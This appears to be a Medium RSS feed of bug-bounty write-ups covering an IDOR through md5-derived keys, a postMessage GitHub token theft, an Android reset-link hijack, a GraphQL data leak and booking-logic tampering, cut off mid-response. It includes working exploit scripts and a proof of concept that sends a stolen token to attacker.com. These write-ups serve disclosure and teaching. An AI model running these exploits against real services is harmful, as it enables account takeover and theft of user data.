<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed Ali Abdallah on Medium]]></title>
        <description><![CDATA[Stories by Ahmed Ali Abdallah on Medium]]></description>
        <link>https://medium.com/@ahmedaliabdallah?source=rss-7beb1711c45d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*M0G81c8P_uvS9ppv</url>
            <title>Stories by Ahmed Ali Abdallah on Medium</title>
            <link>https://medium.com/@ahmedaliabdallah?source=rss-7beb1711c45d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 20:40:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmedaliabdallah/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[One line was enough: an IDOR that let a “view only” user see everyone’s data]]></title>
            <link>https://medium.com/@ahmedaliabdallah/one-line-was-enough-an-idor-that-let-a-view-only-user-see-everyones-data-c708ff105e82?source=rss-7beb1711c45d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c708ff105e82</guid>
            <dc:creator><![CDATA[Ahmed Ali Abdallah]]></dc:creator>
            <pubDate>Thu, 26 Nov 2026 20:48:22 GMT</pubDate>
            <atom:updated>2026-11-27T12:05:47.013Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RPk89qKF5coRQ64U-DnK9w.jpeg" /></figure><blockquote>بسم الله والصلاه والسلام علي رسول الله انا اخوكم ابونوح نوب باج هانتر بحاول اتعلم واهانت ف نفس الوقت وبكتب الافكار ال بحس انها ممكن حد يستفاد منها قبل منبدا صلي علي سيدينا محمد صلي الله عليه وسلم وادعوا ل اخواتنا في فلسطين وكل المسملسن</blockquote><p>I found a bug on a ticketing platform and wrote it up. Nothing dramatic, no zero-day — just a chain of small assumptions that added up. Everything below was tested on events I created myself with fake attendee data. The one state change I made was reverted immediately. No real customers involved.</p><h3>The setup</h3><p>Billetweb has delegate accounts for events. One of the permission levels is called “See the event only” — literally read-only. The person can look, that’s it.</p><p>I made an account with that permission. Logged in. Every sensitive page redirected me away. Every action was blocked. The permission worked fine.</p><p>But there was a check-in link in the sidebar. Just sitting there like any other menu item.</p><p>That link is what the person at the door uses to check attendees in. It felt odd that a read-only delegate had it, so I clicked it.</p><p>The response had every attendee’s barcode in plain text. Not hashed, not masked — just there in the JSON.</p><p>On its own that’s not dangerous. Barcodes are on tickets anyway. But I wanted to know what else the barcode was used for.</p><p>Turns out the “buyer access key” — the thing that opens the order page and lets you download a ticket — was:</p><p>php</p><pre>md5($barcode)</pre><p>Same barcode. The one sitting in the roster. The roster that opens from the check-in link that the read-only delegate can see.</p><p>The chain:</p><blockquote><em>read-only delegate → check-in link → roster with every barcode → md5(barcode) → order page + ticket download + check-in toggle</em></blockquote><p>Each step on its own is fine. Together they don’t really protect anything.</p><h3>Testing it</h3><p>I made an event, added fake data, and wrote a short script:</p><p>python</p><pre>import hashlib, re, requests</pre><pre>s = requests.Session()</pre><pre>roster = s.get(&quot;https://www.examble.com/check_load_incremental.php&quot;,<br>               params={&quot;event&quot;: &quot;12345&quot;, &quot;key&quot;: &quot;&lt;check-key&gt;&quot;})<br>barcode = re.findall(r&#39;&quot;barcode&quot;\s*:\s*&quot;([^&quot;]+)&quot;&#39;, roster.text)[0]</pre><pre>buyer_key = hashlib.md5(barcode.encode()).hexdigest()</pre><pre>order = s.get(&quot;https://www.examble.com/my_order.php&quot;, params={&quot;key&quot;: buyer_key})<br>pdf   = s.get(&quot;https://www.examble.com/download.php&quot;, params={&quot;key&quot;: buyer_key})</pre><pre>print(order.status_code, len(order.text))<br>print(pdf.content[:4] == b&quot;%PDF&quot;)</pre><p>The order page returned the real buyer’s name, email, and order reference. The download returned a real PDF — I checked the %PDF bytes, not just the status code, because a 200 with an error page inside is an easy way to fool yourself.</p><p>Then a control, because one positive result means nothing:</p><p>python</p><pre>fake = hashlib.md5(b&quot;not-a-real-barcode&quot;).hexdigest()<br>r = s.get(&quot;https://www.examble.com/my_order.php&quot;, params={&quot;key&quot;: fake})<br>print(r.status_code, &quot;something went wrong&quot; in r.text.lower())</pre><p>Standard error page. So the first result was real, not a default response.</p><p>I also flipped a check-in status, confirmed it changed, then flipped it back and confirmed it reverted. Nothing left modified. Did the whole thing again on a second event to be sure. Same result.</p><h3>The second issue</h3><p>The check-in link shouldn’t be reaching a read-only delegate at all.</p><p>A delegate with “See the event only” can’t open the configuration pages — I checked, it redirects. But their dashboard still renders the check-in link. The link that unlocks everything above is being handed to a role that’s supposed to unlock nothing.</p><p>I reported them as two separate findings. Fixing the token doesn’t fix the link, and fixing the link doesn’t fix the token. If you only fix one, the chain comes back the moment something small leaks.</p><h3>The actual point</h3><p>The instinctive reaction is “md5 is weak, use SHA-256.” That’s not the problem.</p><p>The problem is that the secret is derived from data you’re already sending to the client. If the input is visible, the output is visible — md5, SHA-256, bcrypt, doesn’t matter. Nothing is being cracked. The secret just isn’t a secret.</p><p>A door with the key carved into it doesn’t get safer by carving deeper.</p><h3>What I’d change</h3><p><strong>1. Random key, not derived:</strong></p><p>php</p><pre>$buyerKey = bin2hex(random_bytes(32));</pre><p>And compare in constant time:</p><p>php</p><pre>if (!hash_equals($attendee[&#39;buyer_key&#39;], $_GET[&#39;key&#39;] ?? &#39;&#39;)) {<br>    http_response_code(403);<br>    exit;<br>}</pre><p><strong>2. Stop sending the raw barcode</strong> where the client doesn’t need to keep it:</p><p>php</p><pre>$row[&#39;barcode_hash&#39;] = hash(&#39;sha256&#39;, $attendee[&#39;barcode&#39;]);</pre><p><strong>3. Gate the check-in link,</strong> and make it per-delegate and rotatable:</p><p>php</p><pre>if ($delegate-&gt;can(&#39;manage_checkin&#39;)) {<br>    echo &#39;&lt;a href=&quot;/check.php?event=&#39;.$eventId.&#39;&amp;key=&#39;.$checkKey.&#39;&quot;&gt;Check-in&lt;/a&gt;&#39;;<br>}</pre><p>Three changes. Not complicated. The hard part is asking the question in the first place: <strong>who is this actually supposed to reach?</strong></p><h3>TL;DR</h3><p>A read-only delegate could read every buyer’s data, download their tickets, and flip check-in status for the whole event. The whole bug is this one line:</p><p>php</p><pre>$buyerKey = md5($attendee[&#39;barcode&#39;]);</pre><p>No exploit chain, no zero-day. Just a secret that wasn’t a secret</p><p>.وف الاخر لو وصلت لحد هنا ادعو ل اخوكم وجميع المسملين</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c708ff105e82" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account Takeover via postMessage: Stealing GitHub OAuth Tokens]]></title>
            <link>https://medium.com/@ahmedaliabdallah/account-takeover-via-postmessage-stealing-github-oauth-tokens-cd2aedff0681?source=rss-7beb1711c45d------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd2aedff0681</guid>
            <dc:creator><![CDATA[Ahmed Ali Abdallah]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 18:19:47 GMT</pubDate>
            <atom:updated>2026-10-23T18:31:39.479Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_aRipgPyO7h4PwNds_k4Cg.jpeg" /></figure><blockquote>بسم الله والصلاه والسلام علي سيدنا محمد صلي الله عليه وسلم متنسوش تدعوا ل اخواتنا في فليطسن وجميع المسلمين اخوكم النوب ابو نوح جايلكم ب فكره تانيه</blockquote><h3>Introduction</h3><p>As security researchers, we often look for complex payloads and intricate bypasses. However, sometimes a critical vulnerability boils down to a single line of JavaScript that blindly trusts the wrong input.</p><p>During a recent security assessment, I discovered a vulnerability chain in a CMS admin panel that allowed for a complete GitHub account takeover. The exploit required zero privileges on the target side and bypassed both passwords and Two-Factor Authentication (2FA).</p><p>Here is the technical breakdown of how I found it and exploited it.</p><h3>TL;DR</h3><p>The CMS admin panel stored the GitHub OAuth token in the browser’s localStorage. It also contained a postMessage handler that sent this token back to any window that requested it, without validating the origin. By hosting a malicious page, I was able to open the admin panel, intercept the live token, and use it externally to read and write to GitHub as the victim.</p><h3>The Vulnerability</h3><p>While interacting with the CMS, I decided to test the GitHub integration using my own account. After completing the OAuth flow, I inspected the browser’s Developer Tools and noticed two critical flaws:</p><ol><li><strong>Insecure Storage:</strong> The OAuth token (with repo and user scopes) was stored in plain text in localStorage.</li><li><strong>Missing Origin Validation:</strong> The application used postMessage to communicate between windows. The handler sent the token back to the sender, completely ignoring event.origin and event.source.</li></ol><p>Here is a simplified example of the vulnerable logic in the admin panel:</p><pre>// Vulnerable Code in the Admin Panel<br>window.addEventListener(&#39;message&#39;, (event) =&gt; {<br>    // The fatal flaw: Accepting messages from ANY origin<br>    // Missing check: if (event.origin !== &#39;https://trusted-cms.com&#39;) return;<br>    <br>    if (event.data === &#39;get_token&#39;) {<br>        const stolenToken = localStorage.getItem(&#39;github_oauth_token&#39;);<br>        <br>        // Sending the token back to whatever window asked<br>        event.source.postMessage(stolenToken, event.origin); <br>    }<br>});</pre><p><em>(Insert your diagram image here)</em><br><em>Figure 1: The malicious window requests the token, and the vulnerable admin panel blindly responds.</em></p><h3>The Exploit</h3><p>To confirm the vulnerability, I created a simple HTML page on a different origin. The goal was to steal the token from the admin panel.</p><p>This is the exact Proof of Concept (PoC) I used to trigger the postMessage and capture the token:</p><pre>&lt;!-- PoC: Malicious Page hosted on attacker.com --&gt;<br>&lt;script&gt;<br>    // 1. Open the vulnerable admin panel<br>    const victimWindow = window.open(&#39;https://www.examble.com/admin&#39;);</pre><pre>    // 2. Wait for the page to load, then ask for the token<br>    setTimeout(() =&gt; {<br>        victimWindow.postMessage(&#39;get_token&#39;, &#39;*&#39;);<br>    }, 3000);</pre><pre>    // 3. Listen for the response<br>    window.addEventListener(&#39;message&#39;, (event) =&gt; {<br>        // The vulnerable app replies with the token<br>        const stolenToken = event.data;<br>        console.log(&quot;Token captured: &quot;, stolenToken);<br>        <br>        // Send the token to my server<br>        fetch(&#39;https://attacker.com/log?token=&#39; + stolenToken);<br>    });<br>&lt;/script&gt;</pre><ol><li><strong>The Setup:</strong> I used window.open to launch the CMS admin panel from my malicious page.</li><li><strong>The Attack:</strong> I created a listener for the postMessage event. The admin panel sent the token to my malicious page. I ran this test 8 times, and it succeeded 8 out of 8 times.</li><li><strong>Token Exfiltration:</strong> I captured the token (gho_...zFnC).</li><li><strong>Verification:</strong> I used the token from an external machine against the GitHub API using a simple curl command.</li></ol><pre># Verifying Read Access<br>curl -H &quot;Authorization: token gho_...zFnC&quot; https://api.github.com/user</pre><pre># Verifying Write Access (Pushing to a private repo)<br># I used the API to create a commit (8c1f8f1) to my canary repository.</pre><p>At last, ALhamdulillah! I finally hit a 3-digit payout</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd2aedff0681" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hijacking a Password Reset Link on Android = Account Takeover
How a missing config file let me…]]></title>
            <link>https://medium.com/@ahmedaliabdallah/hijacking-a-password-reset-link-on-android-account-takeover-how-a-missing-config-file-let-me-7e8d17b4c184?source=rss-7beb1711c45d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e8d17b4c184</guid>
            <dc:creator><![CDATA[Ahmed Ali Abdallah]]></dc:creator>
            <pubDate>Mon, 12 Oct 2026 20:35:27 GMT</pubDate>
            <atom:updated>2026-10-12T20:35:27.029Z</atom:updated>
            <content:encoded><![CDATA[<h3><em>Hijacking a Password Reset Link on Android = Account Takeover<br>How a missing config file let me steal anyone’s password reset and take over their account.</em></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yRQkWrd8hLiKL5x7_SXGkA.jpeg" /></figure><h4>السلام عليكم ورحمة الله وبركاته،</h4><h4>أنا أخوكم النوب أبو نوح</h4><h4>حبيت أشارك معاكم معلومة لعل الله ينفع بها احد.</h4><h4>اللهم علمنا ما ينفعنا، وانفعنا بما علمتنا، وزدنا علما.</h4><h4>أول حاجة صلوا على النبي ﷺ… ويلا بينا</h4><h3>The Idea</h3><p>Mobile apps usually open password reset links directly inside the app instead of a browser. That’s convenient — but if the app doesn’t “lock” that link to itself properly, any other app on the phone can steal it too.</p><p>I found exactly this bug on a connected-car app I’ll call <strong>Fleet Motion</strong>.</p><h3>Step 1: Check If the Link Is Actually “Locked”</h3><p>Android has a way to prove a link belongs ONLY to one app — a small file called assetlinks.json that must exist on the app’s server.</p><p>I just checked if it was there:</p><p>bash</p><pre>curl -I https://identity.drivesync-app.io/.well-known/assetlinks.json</pre><p><strong>Result: 404 — the file doesn’t exist.</strong></p><p>That means the link isn’t locked to the real app. It’s up for grabs.</p><h3>Step 2: Prove Other Apps Can Grab It Too</h3><p>bash</p><pre>adb shell cmd package query-activities --brief --components \<br>  -a android.intent.action.VIEW \<br>  -c android.intent.category.BROWSABLE \<br>  -d &quot;https://identity.drivesync-app.io/account/reset-password?ResetToken=TEST_ONLY&quot;</pre><p>The real app showed up in the results — but so could any other app that registers the same link pattern. Confirmed: it’s not exclusive.</p><h3>Step 3: Build a Simple “Catcher” App</h3><p>I made a tiny Android app that registers the exact same link:</p><p>xml</p><pre>&lt;activity android:name=&quot;.MainActivity&quot; android:exported=&quot;true&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:scheme=&quot;https&quot;<br>              android:host=&quot;identity.drivesync-app.io&quot;<br>              android:pathPrefix=&quot;/account/reset-password&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><p>And a few lines to read whatever token comes in:</p><p>java</p><pre>Uri data = getIntent().getData();<br>String resetToken = data.getQueryParameter(&quot;ResetToken&quot;);</pre><h3>Step 4: Trigger a Real Password Reset</h3><p>I clicked “Forgot Password” on a test account. The email arrived with a link like this:</p><pre>https://identity.drivesync-app.io/account/reset-password?Id=[EMAIL]&amp;ResetToken=[TOKEN]</pre><h3>Step 5: Watch the Catcher App Steal It</h3><p><strong>Case 1 — real app not installed on the device:</strong><br> My catcher app opened automatically the instant the link was clicked. No warning, no choice for the user. Token stolen silently.</p><p><strong>Case 2 — real app IS installed:</strong><br> Android shows an “Open with” popup with both apps listed. If my fake app is named something trustworthy like <em>“Fleet Motion Helper”</em>, most people will just tap it without thinking — and if they tap “Always,” every future link goes straight to me from then on.</p><h3>Step 6: From Stolen Token → Full Account Takeover</h3><p>I took the stolen ResetToken and just opened it myself in a browser:</p><pre>https://identity.drivesync-app.io/account/reset-password?Id=victim@example.com&amp;ResetToken=0a28dd69-5237-462d-a968-8196890ff652</pre><p>Set a new password → submit →</p><blockquote><em>“Successfully changed. Your password has been changed.”</em></blockquote><p>No OTP. No old password needed. Just the token. That’s it — account taken over.</p><h3>ولو وصلت لحد هنا متنساش تصلي علي النبي وتدعي ل اخواتنا في غزه ربنا ينصرهم</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e8d17b4c184" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Leaked 53 Sensitive Records from GraphQL — Without SQL Injection]]></title>
            <link>https://medium.com/@ahmedaliabdallah/how-i-leaked-53-sensitive-records-from-graphql-without-sql-injection-31a272ba895b?source=rss-7beb1711c45d------2</link>
            <guid isPermaLink="false">https://medium.com/p/31a272ba895b</guid>
            <dc:creator><![CDATA[Ahmed Ali Abdallah]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 19:06:03 GMT</pubDate>
            <atom:updated>2026-09-29T19:06:03.568Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SxGkCLMMLE7n66YRobOhRA.jpeg" /></figure><h3><strong><em>بسم الله، والصلاة والسلام على رسول </em></strong><em>الله</em><strong><em>، صلى الله عليه وسلم.</em></strong></h3><blockquote><strong>I’m Abu Noah. A while back, I was exploring a website, just looking around, and I found an endpoint that uses GraphQL. So I thought: let’s see how this works. And more importantly — if I request things I shouldn’t be able to get, will it actually return them, or is there protection?</strong></blockquote><blockquote><strong>So I sent a request. The response came back normal. That’s when the evil part kicked in. I said to myself: let’s trick the schema and make it leak things I’m not supposed to see.</strong></blockquote><blockquote><strong>And it worked.</strong></blockquote><blockquote><strong>I was able to leak partner data, pricing markup strategy, email configs, booking bots, and third-party service integrations — all without authentication and without SQL Injection. Below are examples of the requests I sent and the responses I got back</strong></blockquote><h3>The target was a booking platform that aggregates multiple airline partners. It exposed a GraphQL endpoint:</h3><p><a href="https://example.com/api/cms">https://example.com/api/cms</a></p><h3><strong>GraphQL lets clients request exactly the data they need. But when it’s misconfiguration, it can expose far more than intended.</strong></h3><h3><strong>I didn’t need SQL Injection. I didn’t need authentication. I just needed to ask the right questions</strong></h3><h3>Step 1: GraphQL Introspection Was Enabled</h3><h3>First, I checked whether introspection was enabled. Introspection lets you query the API schema and discover available types and queries</h3><p><strong>Request:</strong></p><pre>GET /api/cms?query={__schema{types{name}}} HTTP/2<br>Host: example.com</pre><p><strong>Response:</strong></p><pre>{<br>  &quot;data&quot;: {<br>    &quot;__schema&quot;: {<br>      &quot;types&quot;: [<br>        { &quot;name&quot;: &quot;PartnerRecord&quot; },<br>        { &quot;name&quot;: &quot;ConsumerOverrideMarkupRecord&quot; },<br>        { &quot;name&quot;: &quot;BookingBotRecord&quot; },<br>        { &quot;name&quot;: &quot;ThirdPartyService&quot; },<br>        { &quot;name&quot;: &quot;PartnerEmailConfig&quot; }<br>      ]<br>    }<br>  }<br>}</pre><p>The server returned 200 OK and exposed internal GraphQL types, including business-sensitive ones. No authentication. No SQLi. Just a schema dump.</p><h3>Step 2: Enumerating Partner Data</h3><p>Next, I queried all partner records:</p><p><strong>Reques</strong></p><pre>GET /api/cms?query={allPartners{name stagingUrl emailConfig{senderEmail senderFrom}}} HTTP/2<br>Host: example.com</pre><p><strong>Response</strong></p><pre>{<br>  &quot;data&quot;: {<br>    &quot;allPartners&quot;: [<br>      {<br>        &quot;name&quot;: &quot;ExamplePartner1&quot;,<br>        &quot;stagingUrl&quot;: &quot;https://partner1.staging.example.net&quot;,<br>        &quot;emailConfig&quot;: {<br>          &quot;senderEmail&quot;: &quot;bookings@partner1.com&quot;,<br>          &quot;senderFrom&quot;: &quot;Partner1 Support&quot;<br>        }<br>      },<br>      {<br>        &quot;name&quot;: &quot;ExamplePartner2&quot;,<br>        &quot;stagingUrl&quot;: &quot;https://partner2.staging.example.net&quot;,<br>        &quot;emailConfig&quot;: {<br>          &quot;senderEmail&quot;: &quot;service@partner2.com&quot;,<br>          &quot;senderFrom&quot;: &quot;Partner2 Team&quot;<br>        }<br>      }<br>    ]<br>  }<br>}</pre><h3>All <strong>20 partner records</strong> were returned — including staging URLs and internal email configurations.</h3><h3>Step 3: Leaking Email Routing Configs</h3><p>I then queried partner email configurations directly:</p><p><strong>Request</strong></p><pre>GET /api/cms?query={allPartnerEmailConfigs{title senderEmail senderFrom}} HTTP/2<br>Host: example.com</pre><p><strong>Response (example):</strong></p><p>json</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;allPartnerEmailConfigs&quot;: [<br>      {<br>        &quot;title&quot;: &quot;Example Partner Support&quot;,<br>        &quot;senderEmail&quot;: &quot;service@example.com&quot;,<br>        &quot;senderFrom&quot;: &quot;Example Team&quot;<br>      },<br>      {<br>        &quot;title&quot;: &quot;Example Bookings&quot;,<br>        &quot;senderEmail&quot;: &quot;bookings@example.travel&quot;,<br>        &quot;senderFrom&quot;: &quot;Example Support&quot;<br>      },<br>      {<br>        &quot;title&quot;: &quot;Example WIZZ Support&quot;,<br>        &quot;senderEmail&quot;: &quot;service@example.com&quot;,<br>        &quot;senderFrom&quot;: &quot;Example WIZZ Team&quot;<br>      }<br>    ]<br>  }<br></pre><p>Internal email routing configs were exposed.</p><h3>Step 4: The Real Prize — Pricing Markup Strategy</h3><p>This was the most sensitive part. I queried all pricing markup rules:</p><p><strong>Request:</strong></p><p>text</p><pre>GET /api/cms?query={allConsumerOverrideMarkups(first:100){id name overrideMarkupPercentage createdAt}} HTTP/2<br>Host: example.com</pre><p><strong>Response (example):</strong></p><p>json</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;allConsumerOverrideMarkups&quot;: [<br>      {<br>        &quot;id&quot;: &quot;1&quot;,<br>        &quot;name&quot;: &quot;Skyscanner&quot;,<br>        &quot;overrideMarkupPercentage&quot;: 0.0,<br>        &quot;createdAt&quot;: &quot;2024-01-01T00:00:00Z&quot;<br>      },<br>      {<br>        &quot;id&quot;: &quot;2&quot;,<br>        &quot;name&quot;: &quot;Google Flights&quot;,<br>        &quot;overrideMarkupPercentage&quot;: 3.5,<br>        &quot;createdAt&quot;: &quot;2024-02-15T00:00:00Z&quot;<br>      },<br>      {<br>        &quot;id&quot;: &quot;3&quot;,<br>        &quot;name&quot;: &quot;Kayak&quot;,<br>        &quot;overrideMarkupPercentage&quot;: 6.0,<br>        &quot;createdAt&quot;: &quot;2024-03-01T00:00:00Z&quot;<br>      }<br>    ]<br>  }<br>}</pre><p>All <strong>13 pricing rules</strong> were returned with exact percentages applied to each metasearch engine — ranging from 0% to 6%.</p><p>That’s not just data. That’s the platform’s exact pricing strategy against competitors.</p><h3>Step 5: Infrastructure Enumeration — Booking Bots</h3><p>I also queried all booking bots:</p><p><strong>Request:</strong></p><pre>GET /api/cms?query={allBookingBots{id name}} HTTP/2<br>Host: example.com</pre><p><strong>Response (example):</strong></p><p>json</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;allBookingBots&quot;: [<br>      { &quot;id&quot;: &quot;1&quot;, &quot;name&quot;: &quot;BookingBot_01&quot; },<br>      { &quot;id&quot;: &quot;2&quot;, &quot;name&quot;: &quot;BookingBot_02&quot; }<br>    ]<br>  }<br>}</pre><p>All <strong>20 booking bot records</strong> were exposed.</p><h3>Step 6: Third-Party Service Integrations</h3><p>Finally, I queried third-party services:</p><p><strong>Request:</strong></p><pre>GET /api/cms?query={allThirdPartyServices{id name}} HTTP/2<br>Host: example.com</pre><p><strong>Response (example):</strong></p><p>json</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;allThirdPartyServices&quot;: [<br>      { &quot;id&quot;: &quot;1&quot;, &quot;name&quot;: &quot;CarTrawler&quot; },<br>      { &quot;id&quot;: &quot;2&quot;, &quot;name&quot;: &quot;OtherIntegration&quot; }<br>    ]<br>  }<br>}</pre><p>Third-party integrations were exposed as well.</p><h3>The Count</h3><p>Here’s what I pulled without authentication and without SQL Injection:</p><ul><li><strong>20 partner records</strong></li><li><strong>13 pricing markup rules</strong></li><li><strong>20 booking bots</strong></li></ul><p>That’s <strong>53 sensitive records</strong> right there — plus email configs and third-party service integrations.</p><h3><strong><em>سبحانك اللهم وبحمدك، أشهد أن لا إله إلا أنت، أستغفرك وأتوب إليك</em></strong><em>.</em></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31a272ba895b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Business Logic Bugs: When the App Says “You Can’t” — But You Actually Can]]></title>
            <link>https://medium.com/@ahmedaliabdallah/business-logic-bugs-when-the-app-says-you-cant-but-you-actually-can-b52d2ada7ffd?source=rss-7beb1711c45d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b52d2ada7ffd</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Ahmed Ali Abdallah]]></dc:creator>
            <pubDate>Mon, 17 Aug 2026 13:02:42 GMT</pubDate>
            <atom:updated>2026-08-17T13:02:42.555Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5qPHI8EGWq_2luKFtqGpdQ.jpeg" /></figure><blockquote><strong><em>بسم الله، والصلاة والسلام على رسول الله، صلى الله عليه وسلم.</em></strong></blockquote><blockquote><strong><em>أولاً، أدعوا لإخواننا في فلسطين، اللهم انصرهم وثبتهم وارحم شهداءهم.</em></strong></blockquote><blockquote><strong><em>أنا أخوكم النوب جداً، أبو نوح. فكرة حبيت أشاركها معاكم.</em></strong></blockquote><blockquote><strong><em>اللهم علِّمنا ما ينفعنا، وانفعنا بما علمتنا، وزدنا علمًا.</em></strong></blockquote><h3>What Are Business Logic Vulnerabilities?</h3><p>Business logic vulnerabilities are flaws in the design and implementation of an application that allow an attacker to elicit unintended behavior. This potentially enables attackers to manipulate legitimate functionality to achieve a malicious goal. These flaws are generally the result of failing to anticipate unusual application states that may occur and, consequently, failing to handle them safely.</p><p>In brief, <strong>logic bugs usually mean bypassing restrictions</strong>. When an application tells you <em>“you can’t do this”</em>, it can be a hint that a logic bug exists — something that allows you to turn a <strong>No</strong> into a <strong>Yes</strong>.</p><h3>Case Study: Bypassing Infant Seat Restrictions in a Booking System</h3><h3>The Setup</h3><p>I was testing a flight booking system that allowed users to book flights with different passenger types: <strong>Adult</strong>, <strong>Child</strong>, and <strong>Infant</strong>.</p><p>The normal flow works like this:</p><ul><li>You select your passengers (e.g., 1 Adult, 1 Child, 1 Infant)</li><li>You enter passenger details (name, date of birth, etc.)</li><li>You select seats (infants don’t get seats — they sit on a lap)</li><li>You pay and complete the booking</li></ul><p>Simple, right?</p><p>But I noticed something interesting…</p><h3>Request 1: Manipulating Passenger Data</h3><p>While booking a flight with 1 adult, 1 child, and 1 infant, I intercepted the passenger update request:</p><p><strong>Endpoint:</strong></p><p>text</p><pre>PATCH /api/perses/offer/{offer_id}/passengers</pre><p><strong>Original Request (Normal):</strong></p><p>json</p><pre>{<br>  &quot;passengers&quot;: [<br>    {<br>      &quot;id&quot;: &quot;example_infant_id&quot;,<br>      &quot;expected_type&quot;: &quot;i&quot;,<br>      &quot;date_of_birth&quot;: &quot;2024-01-01&quot;,<br>      &quot;traveling_with&quot;: &quot;example_adult_id&quot;<br>    }<br>  ]<br></pre><p><strong>Modified Request (Attacker):</strong></p><p>json</p><pre>{<br>  &quot;passengers&quot;: [<br>    {<br>      &quot;id&quot;: &quot;example_infant_id&quot;,<br>      &quot;expected_type&quot;: &quot;i&quot;,<br>      &quot;date_of_birth&quot;: &quot;2000-01-01&quot;,<br>      &quot;traveling_with&quot;: &quot;example_adult_id&quot;<br>    }<br>  ]<br>}</pre><p><strong>Server Response:</strong></p><p>json</p><pre>{<br>  &quot;status&quot;: 200,<br>  &quot;errors&quot;: [],<br>  &quot;passengers&quot;: [<br>    {<br>      &quot;id&quot;: &quot;example_infant_id&quot;,<br>      &quot;expected_type&quot;: &quot;i&quot;,<br>      &quot;date_of_birth&quot;: &quot;2000-01-01&quot;<br>    }<br>  ]<br>}</pre><p>The server responded with 200 OK. No validation error. Nothing.</p><p>The system accepted an adult date of birth with an infant classification.</p><p><strong>You’re not supposed to do that</strong> → but I did.</p><h3>Request 2: Verifying Infant Exclusion from Seats</h3><p>I checked the full offer response to confirm that infants are <strong>excluded</strong> from seat selection in the legitimate flow:</p><p><strong>Endpoint:</strong></p><p>text</p><pre>GET /api/perses/offer/example_offer_id</pre><p><strong>Server Response (Relevant Part):</strong></p><p>json</p><pre>{<br>  &quot;service_groups&quot;: {<br>    &quot;seat_selection&quot;: {<br>      &quot;available_services&quot;: [<br>        {<br>          &quot;passenger_id&quot;: &quot;example_adult_id&quot;,<br>          &quot;seat_offer_id&quot;: &quot;example_seat_1&quot;<br>        },<br>        {<br>          &quot;passenger_id&quot;: &quot;example_child_id&quot;,<br>          &quot;seat_offer_id&quot;: &quot;example_seat_2&quot;<br>        }<br>        // No infant passenger here ❌<br>        // Infants are excluded from seat selection<br>      ]<br>    }<br>  }<br>}</pre><p>So the app says: <em>“Infants can’t have seats.”</em></p><h3>Request 3: Forcing Seat Assignment for Infant (Using Fabricated seat_offer_id)</h3><p><strong>The Important Part:</strong></p><p>The infant had <strong>NO</strong> seat_offer_id in the original offer response because infants are excluded from seat selection.</p><p>So I <strong>fabricated</strong> a seat_offer_id following the same pattern used by the application:</p><p>text</p><pre>Format: {leg_id}_{passenger_id}_{row}_{col}<br>Example: 123456789_example_infant_id_28_E</pre><p><strong>Endpoint:</strong></p><p>text</p><pre>POST /api/perses/offer/example_offer_id/seats</pre><p><strong>Request (with fabricated seat_offer_id):</strong></p><p>json</p><pre>{<br>  &quot;leg_id&quot;: &quot;123456789&quot;,<br>  &quot;passenger_id&quot;: &quot;example_infant_id&quot;,<br>  &quot;seat_offer_id&quot;: &quot;123456789_example_infant_id_28_E&quot;<br>}</pre><p><strong>Server Response:</strong></p><p>json</p><pre>{<br>  &quot;status&quot;: 200,<br>  &quot;services&quot;: [<br>    {<br>      &quot;service_id&quot;: &quot;seat_selection/example_infant_id/123456789&quot;,<br>      &quot;service_class&quot;: &quot;seat_selection&quot;,<br>      &quot;col&quot;: &quot;E&quot;,<br>      &quot;row&quot;: 28,<br>      &quot;seat_offer_id&quot;: &quot;123456789_example_infant_id_28_E&quot;,<br>      &quot;price&quot;: {<br>        &quot;currency&quot;: &quot;EGP&quot;,<br>        &quot;amount&quot;: 1047.15<br>      }<br>    